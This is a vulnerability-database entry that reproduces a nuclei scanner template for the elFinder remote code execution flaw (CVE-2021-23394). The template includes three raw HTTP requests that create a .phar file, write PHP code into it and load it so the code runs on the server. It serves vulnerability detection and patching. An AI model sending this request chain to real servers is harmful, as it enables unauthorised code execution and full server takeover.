Lucene search
+L

elFinder < 2.1.58 - Remote Code Execution

🗓️ 20 Oct 2026 02:05:18Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 99 Views

ElFinder before 2.1.58 permits remote code execution via phar PHP code when the server parses phar files; update to 2.1.58 or later.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-23394
13 Jun 202111:04
–attackerkb
bdu_fstec
BDU FSTEC
elFinder Code Execution
29 Jun 202100:00
–bdu_fstec
circl
Circl
CVE-2021-23394
13 Jun 202114:22
–circl
cnnvd
CNNVD
Studio-42/Elfinder code issue vulnerabilities
13 Jun 202100:00
–cnnvd
cnvd
CNVD
Studio-42 Elfinder Remote Code Execution Vulnerability
17 Jun 202100:00
–cnvd
cve
CVE
CVE-2021-23394
13 Jun 202111:05
–cve
cvelist
Cvelist
CVE-2021-23394 Remote Code Execution (RCE)
13 Jun 202111:05
–cvelist
euvd
EUVD
EUVD-2021-1383
7 Oct 202500:30
–euvd
github
Github Security Blog
elFinder unsafe upload filtering leading to remote code execution
15 Jun 202115:51
–github
kitploit
Kitploit
CVE-2021-23394
14 Oct 202612:14
–kitploit
Rows per page
id: CVE-2021-23394

info:
  name: elFinder < 2.1.58 - Remote Code Execution
  author: 0xanis
  severity: high
  description: |
    studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP.
  impact: |
    Attackers can execute arbitrary PHP code on the server, potentially leading to full server compromise.
  remediation: |
    Update to version 2.1.58 or later.
  reference:
    - https://github.com/Studio-42/elFinder/issues/3295
    - https://blog.sonarsource.com/elfinder-the-story-of-a-file-manager-and-a-bunch-of-vulnerabilities
    - https://snyk.io/vuln/SNYK-PHP-STUDIO42ELFINDER-1290554
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23394
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2021-23394
    cwe-id: CWE-434
    epss-score: 0.18935
    epss-percentile: 0.97275
    cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: std42
    product: elfinder
    shodan-query: http.title:"elfinder"
    fofa-query: title="elfinder"
    google-query: intitle:"elfinder"
  tags: cve,cve2021,elfinder,rce,phar,file-upload,intrusive,vkev,vuln

variables:
  filename: "{{randstr}}"
  payload_str: "{{randstr}}"

http:
  - raw:
      - |
        GET /elFinder/php/connector.minimal.php?cmd=mkfile&target=l1_Lw&name={{filename}}.phar HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'isowner', 'createext', 'added')
          - contains(content_type, 'application/json')
          - status_code == 200
        condition: and
        internal: true

    extractors:
      - type: json
        name: hash
        part: body
        json:
          - ".added[0].hash"
        internal: true

  - raw:
      - |
        GET /elFinder/php/connector.minimal.php?cmd=put&target={{hash}}&content=<?='';+echo+md5('{{payload_str}}');+?> HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'isowner', 'phash', 'changed')
          - contains(content_type, 'application/json')
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        GET /elFinder/files/{{filename}}.phar HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(payload_str)}}"
# digest: 490a0046304402201580e05efaaadb622dc87d97bc799c496d04221baab51ecb13ec629d4290319d02204f1fe4fefea679a1e7496755e5e344fbdeeb673ea9ba45d399be2921cc9c22f5:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Nov 2025 05:19Current
9.1Critical risk
Vulners AI Score9.1
CVSS 26.8
CVSS 3.18.1 - 9.8
EPSS0.18935
99